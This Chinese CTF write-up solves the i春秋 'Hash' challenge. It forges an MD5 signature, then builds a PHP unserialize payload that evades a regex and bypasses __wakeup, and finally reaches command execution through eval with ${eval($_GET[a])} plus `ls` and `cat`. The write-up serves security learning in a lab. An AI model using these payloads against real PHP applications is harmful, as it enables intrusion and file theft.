i春秋Hash
打开题目页面是一个超链接
先查看源码得到一段信息
没什么,这只是超链接跳转的信息
点击跳转到下一个界面
提示我们如果我们的传入不是123,123也就是key了,在上面的url就可以看到
如果key!=123我们就能得到flag
然后后面是一段隐藏的信息,需要查看源码才看得到
<!--$hash=md5($sign.$key);the length of $sign is 8
告诉我们hash等于sign.key的md5加密,然后sign的长度是8
题目中给了一段key与hash的例子
key=123&hash=f9109d5f83921a551cf859f853afe7bb
先对hash md5解密一下试试
解出来是kkkkkk01123
取其前8位就是kkkkkk01,所以这里的sign=kkkkkk01然后key=123
很简单嘛,直接修改了就,让key=111然后sign还是等于kkkkkk01,构造hash=md5(kkkkkk01111)
adaa10eef3a02754da03b5a3a6f40ae6(注意,这里是32位的md5加密)
构造出url
访问之,提示我们next step is Gu3ss_m3_h2h2.php
不多说,直接访问试试
一段php代码
看看源码有没有什么遗漏的
(。。。。。应该没有)
审计代码
先定义了一个demo类然后是一个if语句,如果存在GET传入的var就执行,再定义变量var等于base64解密的GET[‘var’],然后一个正则表达式,如果匹配就输出stop hacking,此外就将var反序列化,此外高亮文件Gu3ss_m3_h2h2.php
再看他的demo类
先是定义私有变量file让它指定一个文件
然后再定义一个共有函数,让其this变量指向file的值等于file
再定义函数__destruct(),让其输出高亮的文件。。。也就是我们看到的
然后又定义一个函数,如果this_file指向的文件不是这个就让其等于这个
最后还有一句注释,这秘密在f15g_1s_here.php
大概意思懂了,url处通过请求访问Gu3ss_m3_h2h2.php文件,如果不是这个文件名的访问则会自动访问这个Gu3ss_m3_h2h2.php文件,但是秘密又在另一个文件中,而且我们不能hack这个网页
。。。。。。。
想想只需要绕过就行了吧
我们这里就写个脚本来加密下f15g_1s_here.php来绕过它
<?phpclass Demo { private $file = 'Gu3ss_m3_h2h2.php'; public function __construct($file) { $this->file = $file; } function __destruct() { echo @highlight_file($this->file, true); } function __wakeup() { if ($this->file != 'Gu3ss_m3_h2h2.php') { //the secret is in the f15g_1s_here.php $this->file = 'Gu3ss_m3_h2h2.php'; } }}$a = new Demo('f15g_1s_here.php');$s = serialize($a);echo $s;echo '<br>';$s = str_replace('O:4', 'O:+4',$s);//绕过正则$s = str_replace(':1:', ':2:' ,$s);//绕过wakeup函数echo base64_encode($s);//最后base64编码?>
本地运行即可得到我们需要传入的值
TzorNDoiRGVtbyI6ODp7czoxMDoiAERlbW8AZmlsZSI7czoxNjoiZjE1Z18xc19oZXJlLnBocCI7fQ== 构造url
成功进入下一步
再审计,如果存在GET传入的val就令变量val等于其,然后eval一段内容,内容具体组成是value的值连上val的addslashes转义字符串再连上;组成
很明显了,这里就要我们利用eval()来获取到flag
先试试f15g_1s_here.php?val=${eval("echo 'ls' ;")}
发现页面没有显示了就。。。。看来不能这样用,因为上面的提示中提到了addslashes转义,它会将我们的’”都进行转义所以就不能这么构造eval指令
这里使用url的GET传值来避免val中的’ls’被转义构造payload:
f15g_1s_here.php?val=${eval($_GET[a])}&a=echo `ls`;
查看到所有文件,再cat查看
Payload:
f15g_1s_here.php?val=${eval($_GET[a])}&a=echo `cat True_F1ag_i3_Here_233.php`;
页面也没有回显,查看源码得到flag